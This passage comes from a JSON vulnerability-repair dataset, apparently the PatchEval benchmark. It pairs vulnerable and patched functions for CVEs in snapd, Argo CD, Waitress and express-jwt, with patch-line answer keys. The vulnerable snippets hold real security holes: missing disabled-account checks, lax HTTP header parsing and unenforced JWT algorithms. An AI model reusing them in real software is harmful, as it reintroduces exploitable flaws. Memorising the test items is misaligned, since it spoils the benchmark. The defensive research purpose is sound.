            "https://github.com/snapcore/snapd/commit/aa191f97713de8dc3ce3ac818539f0b976eb8ef6"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_60_1",
                "commit": "9dace38",
                "file_path": "interfaces/builtin/home.go",
                "start_line": 48,
                "end_line": 82,
                "snippet": "const homeConnectedPlugAppArmor = `\n# Description: Can access non-hidden files in user's $HOME. This is restricted\n# because it gives file access to all of the user's $HOME.\n\n# Note, @{HOME} is the user's $HOME, not the snap's $HOME\n\n# Allow read access to toplevel $HOME for the user\nowner @{HOME}/ r,\n\n# Allow read/write access to all files in @{HOME}, except snap application\n# data in @{HOME}/snap and toplevel hidden directories in @{HOME}.\nowner @{HOME}/[^s.]**             rwkl###HOME_IX###,\nowner @{HOME}/s[^n]**             rwkl###HOME_IX###,\nowner @{HOME}/sn[^a]**            rwkl###HOME_IX###,\nowner @{HOME}/sna[^p]**           rwkl###HOME_IX###,\nowner @{HOME}/snap[^/]**          rwkl###HOME_IX###,\n\n# Allow creating a few files not caught above\nowner @{HOME}/{s,sn,sna}{,/} rwkl###HOME_IX###,\n\n# Allow access to @{HOME}/snap/ to allow directory traversals from\n# @{HOME}/snap/@{SNAP_INSTANCE_NAME} through @{HOME}/snap to @{HOME}.\n# While this leaks snap names, it fixes usability issues for snaps\n# that require this transitional interface.\nowner @{HOME}/snap/ r,\n\n# Allow access to gvfs mounts for files owned by the user (including hidden\n# files; only allow writes to files, not the mount point).\nowner /run/user/[0-9]*/gvfs/{,**} r,\nowner /run/user/[0-9]*/gvfs/*/**  w,\n\n# Disallow writes to the well-known directory included in\n# the user's PATH on several distributions\naudit deny @{HOME}/bin/{,**} wl,\n`",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_60_1",
                "commit": "aa191f9",
                "file_path": "interfaces/builtin/home.go",
                "start_line": 48,
                "end_line": 82,
                "snippet": "const homeConnectedPlugAppArmor = `\n# Description: Can access non-hidden files in user's $HOME. This is restricted\n# because it gives file access to all of the user's $HOME.\n\n# Note, @{HOME} is the user's $HOME, not the snap's $HOME\n\n# Allow read access to toplevel $HOME for the user\nowner @{HOME}/ r,\n\n# Allow read/write access to all files in @{HOME}, except snap application\n# data in @{HOME}/snap and toplevel hidden directories in @{HOME}.\nowner @{HOME}/[^s.]**             rwkl###HOME_IX###,\nowner @{HOME}/s[^n]**             rwkl###HOME_IX###,\nowner @{HOME}/sn[^a]**            rwkl###HOME_IX###,\nowner @{HOME}/sna[^p]**           rwkl###HOME_IX###,\nowner @{HOME}/snap[^/]**          rwkl###HOME_IX###,\n\n# Allow creating a few files not caught above\nowner @{HOME}/{s,sn,sna}{,/} rwkl###HOME_IX###,\n\n# Allow access to @{HOME}/snap/ to allow directory traversals from\n# @{HOME}/snap/@{SNAP_INSTANCE_NAME} through @{HOME}/snap to @{HOME}.\n# While this leaks snap names, it fixes usability issues for snaps\n# that require this transitional interface.\nowner @{HOME}/snap/ r,\n\n# Allow access to gvfs mounts for files owned by the user (including hidden\n# files; only allow writes to files, not the mount point).\nowner /run/user/[0-9]*/gvfs/{,**} r,\nowner /run/user/[0-9]*/gvfs/*/**  w,\n\n# Disallow writes to the well-known directory included in\n# the user's PATH on several distributions\naudit deny @{HOME}/bin/{,**} wl,\naudit deny @{HOME}/bin wl,"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-1724"
    },
    {
        "cve_id": "CVE-2021-26921",
        "cve_description": "In util/session/sessionmanager.go in Argo CD before 1.8.4, tokens continue to work even when the user account is disabled.",
        "cwe_info": {
            "CWE-613": {
                "name": "Insufficient Session Expiration",
                "description": "According to WASC, \"Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization.\""
            }
        },
        "repo": "https://github.com/argoproj/argo-cd",
        "patch_url": [
            "https://github.com/argoproj/argo-cd/commit/f5b0db240b4e3abf18e97f6fd99096b4f9e94dc5"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_66_1",
                "commit": "ce43b7a",
                "file_path": "util/session/sessionmanager.go",
                "start_line": 239,
                "end_line": 294,
                "snippet": "func (mgr *SessionManager) Parse(tokenString string) (jwt.Claims, error) {\n\t// Parse takes the token string and a function for looking up the key. The latter is especially\n\t// useful if you use multiple keys for your application.  The standard is to use 'kid' in the\n\t// head of the token to identify which key to use, but the parsed token (head and claims) is provided\n\t// to the callback, providing flexibility.\n\tvar claims jwt.MapClaims\n\tsettings, err := mgr.settingsMgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttoken, err := jwt.ParseWithClaims(tokenString, &claims, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t}\n\t\treturn settings.ServerSignature, nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tissuedAt, err := jwtutil.IssuedAtTime(claims)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsubject := jwtutil.StringField(claims, \"sub\")\n\tid := jwtutil.StringField(claims, \"jti\")\n\n\tif projName, role, ok := rbacpolicy.GetProjectRoleFromSubject(subject); ok {\n\t\tproj, err := mgr.projectsLister.Get(projName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, _, err = proj.GetJWTToken(role, issuedAt.Unix(), id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn token.Claims, nil\n\t}\n\n\taccount, err := mgr.settingsMgr.GetAccount(subject)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif id := jwtutil.StringField(claims, \"jti\"); id != \"\" && account.TokenIndex(id) == -1 {\n\t\treturn nil, fmt.Errorf(\"account %s does not have token with id %s\", subject, id)\n\t}\n\n\tif account.PasswordMtime != nil && issuedAt.Before(*account.PasswordMtime) {\n\t\treturn nil, fmt.Errorf(\"Account password has changed since token issued\")\n\t}\n\treturn token.Claims, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            47
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_66_1",
                "commit": "f5b0db2",
                "file_path": "util/session/sessionmanager.go",
                "start_line": 239,
                "end_line": 298,
                "snippet": "func (mgr *SessionManager) Parse(tokenString string) (jwt.Claims, error) {\n\t// Parse takes the token string and a function for looking up the key. The latter is especially\n\t// useful if you use multiple keys for your application.  The standard is to use 'kid' in the\n\t// head of the token to identify which key to use, but the parsed token (head and claims) is provided\n\t// to the callback, providing flexibility.\n\tvar claims jwt.MapClaims\n\tsettings, err := mgr.settingsMgr.GetSettings()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\ttoken, err := jwt.ParseWithClaims(tokenString, &claims, func(token *jwt.Token) (interface{}, error) {\n\t\t// Don't forget to validate the alg is what you expect:\n\t\tif _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {\n\t\t\treturn nil, fmt.Errorf(\"Unexpected signing method: %v\", token.Header[\"alg\"])\n\t\t}\n\t\treturn settings.ServerSignature, nil\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tissuedAt, err := jwtutil.IssuedAtTime(claims)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsubject := jwtutil.StringField(claims, \"sub\")\n\tid := jwtutil.StringField(claims, \"jti\")\n\n\tif projName, role, ok := rbacpolicy.GetProjectRoleFromSubject(subject); ok {\n\t\tproj, err := mgr.projectsLister.Get(projName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\t_, _, err = proj.GetJWTToken(role, issuedAt.Unix(), id)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn token.Claims, nil\n\t}\n\n\taccount, err := mgr.settingsMgr.GetAccount(subject)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif !account.Enabled {\n\t\treturn nil, fmt.Errorf(\"account %s is disabled\", subject)\n\t}\n\n\tif id := jwtutil.StringField(claims, \"jti\"); id != \"\" && account.TokenIndex(id) == -1 {\n\t\treturn nil, fmt.Errorf(\"account %s does not have token with id %s\", subject, id)\n\t}\n\n\tif account.PasswordMtime != nil && issuedAt.Before(*account.PasswordMtime) {\n\t\treturn nil, fmt.Errorf(\"Account password has changed since token issued\")\n\t}\n\treturn token.Claims, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-26921"
    },
    {
        "cve_id": "CVE-2019-16789",
        "cve_description": "In Waitress through version 1.4.0, if a proxy server is used in front of waitress, an invalid request may be sent by an attacker that bypasses the front-end and is parsed differently by waitress leading to a potential for HTTP request smuggling. Specially crafted requests containing special whitespace characters in the Transfer-Encoding header would get parsed by Waitress as being a chunked request, but a front-end server would use the Content-Length instead as the Transfer-Encoding header is considered invalid due to containing invalid characters. If a front-end server does HTTP pipelining to a backend Waitress server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure. This issue is fixed in Waitress 1.4.1 through more strict HTTP field validation.",
        "cwe_info": {
            "CWE-444": {
                "name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')",
                "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."
            }
        },
        "repo": "https://github.com/Pylons/waitress",
        "patch_url": [
            "https://github.com/Pylons/waitress/commit/11d9e138125ad46e951027184b13242a3c1de017"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_72_1",
                "commit": "f11093a",
                "file_path": "waitress/parser.py",
                "start_line": 190,
                "end_line": 297,
                "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            index = line.find(b\":\")\n            if index > 0:\n                key = line[:index]\n\n                if key != key.strip():\n                    raise ParsingError(\"Invalid whitespace after field-name\")\n\n                if b\"_\" in key:\n                    continue\n                value = line[index + 1 :].strip()\n                key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n                # If a header already exists, we append subsequent values\n                # seperated by a comma. Applications already need to handle\n                # the comma seperated values, as HTTP front ends might do\n                # the concatenation for you (behavior specified in RFC2616).\n                try:\n                    headers[key1] += tostr(b\", \" + value)\n                except KeyError:\n                    headers[key1] = tostr(value)\n            # else there's garbage in the headers?\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n\n            encodings = [encoding.strip().lower() for encoding in te.split(\",\") if encoding]\n\n            for encoding in encodings:\n                # Out of the transfer-codings listed in\n                # https://tools.ietf.org/html/rfc7230#section-4 we only support\n                # chunked at this time.\n\n                # Note: the identity transfer-coding was removed in RFC7230:\n                # https://tools.ietf.org/html/rfc7230#appendix-A.2 and is thus\n                # not supported\n                if encoding not in {\"chunked\"}:\n                    raise TransferEncodingNotImplemented(\n                        \"Transfer-Encoding requested is not supported.\"\n                    )\n\n            if encodings and encodings[-1] == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            elif encodings:  # pragma: nocover\n                raise TransferEncodingNotImplemented(\n                    \"Transfer-Encoding requested is not supported.\"\n                )\n\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                raise ParsingError(\"Content-Length is invalid\")\n\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            22,
                            23,
                            24,
                            25,
                            26,
                            27,
                            28,
                            29,
                            30,
                            31,
                            32,
                            33,
                            34,
                            35,
                            36,
                            37,
                            38,
                            39
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_72_2",
                "commit": "f11093a",
                "file_path": "waitress/parser.py",
                "start_line": 348,
                "end_line": 365,
                "snippet": "def get_header_lines(header):\n    \"\"\"\n    Splits the header into lines, putting multi-line headers together.\n    \"\"\"\n    r = []\n    lines = header.split(b\"\\r\\n\")\n    for line in lines:\n        if b\"\\r\" in line or b\"\\n\" in line:\n            raise ParsingError('Bare CR or LF found in header line \"%s\"' % tostr(line))\n\n        if line.startswith((b\" \", b\"\\t\")):\n            if not r:\n                # https://corte.si/posts/code/pathod/pythonservers/index.html\n                raise ParsingError('Malformed header line \"%s\"' % tostr(line))\n            r[-1] += line\n        else:\n            r.append(line)\n    return r",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_72_3",
                "commit": "f11093a",
                "file_path": "waitress/utilities.py",
                "start_line": 211,
                "end_line": 218,
                "snippet": "vchar_re = \"\\x21-\\x7e\"\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n# qdtext        = HTAB / SP /%x21 / %x23-5B / %x5D-7E / obs-text\n# obs-text      = %x80-FF\n# quoted-pair   = \"\\\" ( HTAB / SP / VCHAR / obs-text )\nobs_text_re = \"\\x80-\\xff\"",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1,
                            2,
                            3,
                            4,
                            5,
                            6,
                            7,
                            8
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_72_1",
                "commit": "11d9e138125ad46e951027184b13242a3c1de017",
                "file_path": "waitress/parser.py",
                "start_line": 190,
                "end_line": 298,
                "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            header = HEADER_FIELD.match(line)\n\n            if not header:\n                raise ParsingError(\"Invalid header\")\n\n            key, value = header.group('name', 'value')\n\n            if b\"_\" in key:\n                # TODO(xistence): Should we drop this request instead?\n                continue\n\n            value = value.strip()\n            key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n            # If a header already exists, we append subsequent values\n            # seperated by a comma. Applications already need to handle\n            # the comma seperated values, as HTTP front ends might do\n            # the concatenation for you (behavior specified in RFC2616).\n            try:\n                headers[key1] += tostr(b\", \" + value)\n            except KeyError:\n                headers[key1] = tostr(value)\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n\n            encodings = [encoding.strip().lower() for encoding in te.split(\",\") if encoding]\n\n            for encoding in encodings:\n                # Out of the transfer-codings listed in\n                # https://tools.ietf.org/html/rfc7230#section-4 we only support\n                # chunked at this time.\n\n                # Note: the identity transfer-coding was removed in RFC7230:\n                # https://tools.ietf.org/html/rfc7230#appendix-A.2 and is thus\n                # not supported\n                if encoding not in {\"chunked\"}:\n                    raise TransferEncodingNotImplemented(\n                        \"Transfer-Encoding requested is not supported.\"\n                    )\n\n            if encodings and encodings[-1] == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            elif encodings:  # pragma: nocover\n                raise TransferEncodingNotImplemented(\n                    \"Transfer-Encoding requested is not supported.\"\n                )\n\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                raise ParsingError(\"Content-Length is invalid\")\n\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)"
            },
            {
                "id": "fix_py_72_2",
                "commit": "11d9e138125ad46e951027184b13242a3c1de017",
                "file_path": "waitress/parser.py",
                "start_line": 349,
                "end_line": 376,
                "snippet": "def get_header_lines(header):\n    \"\"\"\n    Splits the header into lines, putting multi-line headers together.\n    \"\"\"\n    r = []\n    lines = header.split(b\"\\r\\n\")\n    for line in lines:\n        if not line:\n            continue\n\n        if b\"\\r\" in line or b\"\\n\" in line:\n            raise ParsingError('Bare CR or LF found in header line \"%s\"' % tostr(line))\n\n        if line.startswith((b\" \", b\"\\t\")):\n            if not r:\n                # https://corte.si/posts/code/pathod/pythonservers/index.html\n                raise ParsingError('Malformed header line \"%s\"' % tostr(line))\n            r[-1] += line\n        else:\n            r.append(line)\n    return r\n\n\nfirst_line_re = re.compile(\n    b\"([^ ]+) \"\n    b\"((?:[^ :?#]+://[^ ?#/]*(?:[0-9]{1,5})?)?[^ ]+)\"\n    b\"(( HTTP/([0-9.]+))$|$)\"\n)"
            },
            {
                "id": "fix_py_72_3",
                "commit": "11d9e138125ad46e951027184b13242a3c1de017",
                "file_path": "waitress/utilities.py",
                "start_line": 222,
                "end_line": 229,
                "snippet": "vchar_re = VCHAR\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n# qdtext        = HTAB / SP /%x21 / %x23-5B / %x5D-7E / obs-text\n# obs-text      = %x80-FF\n# quoted-pair   = \"\\\" ( HTAB / SP / VCHAR / obs-text )\nobs_text_re = OBS_TEXT"
            },
            {
                "id": "fix_py_72_4",
                "commit": "11d9e138125ad46e951027184b13242a3c1de017",
                "file_path": "waitress/rfc7230.py",
                "start_line": 1,
                "end_line": 44,
                "snippet": "\"\"\"\nThis contains a bunch of RFC7230 definitions and regular expressions that are\nneeded to properly parse HTTP messages.\n\"\"\"\n\nimport re\n\nfrom .compat import tobytes\n\nWS = \"[ \\t]\"\nOWS = WS + \"{0,}?\"\nRWS = WS + \"{1,}?\"\nBWS = OWS\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# tchar          = \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\"\n#                / \"+\" / \"-\" / \".\" / \"^\" / \"_\" / \"`\" / \"|\" / \"~\"\n#                / DIGIT / ALPHA\n# obs-text      = %x80-FF\nTCHAR = r\"[!#$%&'*+\\-.^_`|~0-9A-Za-z]\"\nOBS_TEXT = r\"\\x80-\\xff\"\n\nTOKEN = TCHAR + \"{1,}\"\n\n# RFC 5234 Appendix B.1 \"Core Rules\":\n# VCHAR         =  %x21-7E\n#                  ; visible (printing) characters\nVCHAR = r\"\\x21-\\x7e\"\n\n# header-field   = field-name \":\" OWS field-value OWS\n# field-name     = token\n# field-value    = *( field-content / obs-fold )\n# field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]\n# field-vchar    = VCHAR / obs-text\n\nFIELD_VCHAR = \"[\" + VCHAR + OBS_TEXT + \"]\"\nFIELD_CONTENT = FIELD_VCHAR + \"(\" + RWS + FIELD_VCHAR + \"){0,}\"\nFIELD_VALUE = \"(\" + FIELD_CONTENT + \"){0,}\"\n\nHEADER_FIELD = re.compile(\n    tobytes(\n        \"^(?P\" + TOKEN + \"):\" + OWS + \"(?P\" + FIELD_VALUE + \")\" + OWS + \"$\"\n    )\n)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2019-16789"
    },
    {
        "cve_id": "CVE-2020-15084",
        "cve_description": "In express-jwt (NPM package) up and including version 5.3.3, the algorithms entry to be specified in the configuration is not being enforced. When algorithms is not specified in the configuration, with the combination of jwks-rsa, it may lead to authorization bypass. You are affected by this vulnerability if all of the following conditions apply: - You are using express-jwt - You do not have **algorithms** configured in your express-jwt configuration. - You are using libraries such as jwks-rsa as the **secret**. You can fix this by specifying **algorithms** in the express-jwt configuration. See linked GHSA for example. This is also fixed in version 6.0.0.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/auth0/express-jwt",
        "patch_url": [
            "https://github.com/auth0/express-jwt/commit/7ecab5f8f0cab5297c2b863596566eb0c019cdef"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_29_1",
                "commit": "e9ed6d2",
                "file_path": "lib/index.js",
                "start_line": 19,
                "end_line": 136,
                "snippet": "module.exports = function(options) {\n  if (!options || !options.secret) throw new Error('secret should be set');\n\n  var secretCallback = options.secret;\n\n  if (!isFunction(secretCallback)){\n    secretCallback = wrapStaticSecretInCallback(secretCallback);\n  }\n\n  var isRevokedCallback = options.isRevoked || DEFAULT_REVOKED_FUNCTION;\n\n  var _requestProperty = options.userProperty || options.requestProperty || 'user';\n  var _resultProperty = options.resultProperty;\n  var credentialsRequired = typeof options.credentialsRequired === 'undefined' ? true : options.credentialsRequired;\n\n  var middleware = function(req, res, next) {\n    var token;\n\n    if (req.method === 'OPTIONS' && req.headers.hasOwnProperty('access-control-request-headers')) {\n      var hasAuthInAccessControl = !!~req.headers['access-control-request-headers']\n                                    .split(',').map(function (header) {\n                                      return header.trim();\n                                    }).indexOf('authorization');\n\n      if (hasAuthInAccessControl) {\n        return next();\n      }\n    }\n\n    if (options.getToken && typeof options.getToken === 'function') {\n      try {\n        token = options.getToken(req);\n      } catch (e) {\n        return next(e);\n      }\n    } else if (req.headers && req.headers.authorization) {\n      var parts = req.headers.authorization.split(' ');\n      if (parts.length == 2) {\n        var scheme = parts[0];\n        var credentials = parts[1];\n\n        if (/^Bearer$/i.test(scheme)) {\n          token = credentials;\n        } else {\n          if (credentialsRequired) {\n            return next(new UnauthorizedError('credentials_bad_scheme', { message: 'Format is Authorization: Bearer [token]' }));\n          } else {\n            return next();\n          }\n        }\n      } else {\n        return next(new UnauthorizedError('credentials_bad_format', { message: 'Format is Authorization: Bearer [token]' }));\n      }\n    }\n\n    if (!token) {\n      if (credentialsRequired) {\n        return next(new UnauthorizedError('credentials_required', { message: 'No authorization token was found' }));\n      } else {\n        return next();\n      }\n    }\n\n    var dtoken;\n\n    try {\n      dtoken = jwt.decode(token, { complete: true }) || {};\n    } catch (err) {\n      return next(new UnauthorizedError('invalid_token', err));\n    }\n\n    async.waterfall([\n      function getSecret(callback){\n        var arity = secretCallback.length;\n        if (arity == 4) {\n          secretCallback(req, dtoken.header, dtoken.payload, callback);\n        } else { // arity == 3\n          secretCallback(req, dtoken.payload, callback);\n        }\n      },\n      function verifyToken(secret, callback) {\n        jwt.verify(token, secret, options, function(err, decoded) {\n          if (err) {\n            callback(new UnauthorizedError('invalid_token', err));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      },\n      function checkRevoked(decoded, callback) {\n        isRevokedCallback(req, dtoken.payload, function (err, revoked) {\n          if (err) {\n            callback(err);\n          }\n          else if (revoked) {\n            callback(new UnauthorizedError('revoked_token', {message: 'The token has been revoked.'}));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      }\n\n    ], function (err, result){\n      if (err) { return next(err); }\n      if (_resultProperty) {\n        set(res, _resultProperty, result);\n      } else {\n        set(req, _requestProperty, result);\n      }\n      next();\n    });\n  };\n\n  middleware.unless = unless;\n  middleware.UnauthorizedError = UnauthorizedError;\n\n  return middleware;\n};",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_29_1",
                "commit": "7ecab5f",
                "file_path": "lib/index.js",
                "start_line": 19,
                "end_line": 139,
                "snippet": "module.exports = function(options) {\n  if (!options || !options.secret) throw new Error('secret should be set');\n\n  if (!options.algorithms) throw new Error('algorithms should be set');\n  if (!Array.isArray(options.algorithms)) throw new Error('algorithms must be an array');\n\n  var secretCallback = options.secret;\n\n  if (!isFunction(secretCallback)){\n    secretCallback = wrapStaticSecretInCallback(secretCallback);\n  }\n\n  var isRevokedCallback = options.isRevoked || DEFAULT_REVOKED_FUNCTION;\n\n  var _requestProperty = options.userProperty || options.requestProperty || 'user';\n  var _resultProperty = options.resultProperty;\n  var credentialsRequired = typeof options.credentialsRequired === 'undefined' ? true : options.credentialsRequired;\n\n  var middleware = function(req, res, next) {\n    var token;\n\n    if (req.method === 'OPTIONS' && req.headers.hasOwnProperty('access-control-request-headers')) {\n      var hasAuthInAccessControl = !!~req.headers['access-control-request-headers']\n                                    .split(',').map(function (header) {\n                                      return header.trim();\n                                    }).indexOf('authorization');\n\n      if (hasAuthInAccessControl) {\n        return next();\n      }\n    }\n\n    if (options.getToken && typeof options.getToken === 'function') {\n      try {\n        token = options.getToken(req);\n      } catch (e) {\n        return next(e);\n      }\n    } else if (req.headers && req.headers.authorization) {\n      var parts = req.headers.authorization.split(' ');\n      if (parts.length == 2) {\n        var scheme = parts[0];\n        var credentials = parts[1];\n\n        if (/^Bearer$/i.test(scheme)) {\n          token = credentials;\n        } else {\n          if (credentialsRequired) {\n            return next(new UnauthorizedError('credentials_bad_scheme', { message: 'Format is Authorization: Bearer [token]' }));\n          } else {\n            return next();\n          }\n        }\n      } else {\n        return next(new UnauthorizedError('credentials_bad_format', { message: 'Format is Authorization: Bearer [token]' }));\n      }\n    }\n\n    if (!token) {\n      if (credentialsRequired) {\n        return next(new UnauthorizedError('credentials_required', { message: 'No authorization token was found' }));\n      } else {\n        return next();\n      }\n    }\n\n    var dtoken;\n\n    try {\n      dtoken = jwt.decode(token, { complete: true }) || {};\n    } catch (err) {\n      return next(new UnauthorizedError('invalid_token', err));\n    }\n\n    async.waterfall([\n      function getSecret(callback){\n        var arity = secretCallback.length;\n        if (arity == 4) {\n          secretCallback(req, dtoken.header, dtoken.payload, callback);\n        } else { // arity == 3\n          secretCallback(req, dtoken.payload, callback);\n        }\n      },\n      function verifyToken(secret, callback) {\n        jwt.verify(token, secret, options, function(err, decoded) {\n          if (err) {\n            callback(new UnauthorizedError('invalid_token', err));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      },\n      function checkRevoked(decoded, callback) {\n        isRevokedCallback(req, dtoken.payload, function (err, revoked) {\n          if (err) {\n            callback(err);\n          }\n          else if (revoked) {\n            callback(new UnauthorizedError('revoked_token', {message: 'The token has been revoked.'}));\n          } else {\n            callback(null, decoded);\n          }\n        });\n      }\n\n    ], function (err, result){\n      if (err) { return next(err); }\n      if (_resultProperty) {\n        set(res, _resultProperty, result);\n      } else {\n        set(req, _requestProperty, result);\n      }\n      next();\n    });\n  };\n\n  middleware.unless = unless;\n  middleware.UnauthorizedError = UnauthorizedError;\n\n  return middleware;\n};"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-15084"
    },
    {
        "cve_id": "CVE-2023-41040",
